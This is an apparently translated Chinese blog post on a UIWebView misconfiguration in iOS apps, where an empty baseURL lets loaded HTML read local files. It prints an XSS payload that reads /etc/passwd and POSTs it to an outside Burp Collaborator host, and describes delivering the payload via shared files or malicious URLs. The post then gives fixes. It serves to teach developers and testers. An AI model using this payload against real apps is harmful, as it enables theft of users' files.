iOS开发小Tip之之WebView XSS

 

本篇文章会介绍一些我曾经在某些ios应用中看到的潜在安全问题。我认为程序开发者(同时也包括漏洞挖掘人员)应该意识到这个错误的配置,同时能保证webview的安全性。

下面阐述的问题相当简单,但是常常被(开发者)错误的配置。当你想要在代码中配置一个webview的时候, 你通常会使用如下的代码:

[webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@""]]

很多开发人员都武断的认为,只要将baseURL设置为@””(空字符串)就是安全的。因为只要baseURL是空,那么攻击者就不能让webview加载任意有问题的网站,但显然这个观点是错误的。

事实上,当baseURL参数被设置成空字符串之后,有可能令攻击者访问到app的文件系统(通常来说会使用file://前缀)以及任意其他的网站,这样攻击者就绕过了SOP保护。

可以使用很多种方式利用这个错误的配置,其中最常见的是窃取文件,也就是说攻击者可以在webview中打开任意他能访问到的文件。举个例子, 首先看看下面这个简单的xss payload:

<script> 
	var request = new XMLHttpRequest();
	request.open("GET","file:///etc/passwd",false);
	request.send();
	request.open("POST","http://nc3fefxjk1kpku6504yvqzeyspyjm8.burpcollaborator.net",false);
	request.send(request.responseText);
</script>

这段payload会直接打开手机的”/etc/passwd”文件,并将文件内容发送到攻击者的服务器上(在这个例子中, 我将使用Burp Collaborator去验证收到的请求)。

我只是简单的将其保存为html文件,而后同步到我的icloud上, 最后使用app分享给被攻击者(通常来说是通过iOS11之后才出现的名为‘File’的app)。

随后,当用户打开文件的时候, 我自然而然就拿到了对方的passwd文件:

其他潜在的攻击方式包括以下几种:

  • 使用一个内置的app打开url或者浏览器: 攻击者可以发送一个有危害的url给受害者(比如通过聊天工具),只要受害者点击链接就会在应用的webview中打开链接。
  • URL schema滥用: 攻击者通过外部(比如:邮件或者iMessage)向受害者发送一个有害的URL。只要url schema在一个webview钟打开这个链接, 那么利用就有可能进行。

最简单的修复方案是让baseURL等于’about:blank’,而不是空字符串,例如:

[webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@"about:blank"]]

现在, webview运行在iphone的沙盒之内。攻击者可以实现一个简单的弹框, 但是没有办法窃取任何的数据或者和有危害的服务器通信。这个解决方案在某种场合下可能会影响应用的正常功能, 比如开发者从沙盒内加载了一张图片。在这个前提下, 你最好设计一个应用可以访问的目录、文件或者服务器的白名单。

如果开发者应该使用最新的webview类(”WKWebView”),而不是旧的webview类(”UIWebView”),那么可以令上诉攻击的成功率大大下降,以此提高应用安全性。WKWebView在默认情况下不运距AJAX请问访问本地问津系统(因此这篇博客使用的攻击方式在这种情况下无法正常使用,除非开发者显示的激活了这个功能)。除此之外,它还允许开发者启用或者禁止javascript代码的执行。

我希望上述的内容可以帮助到各位。

(完)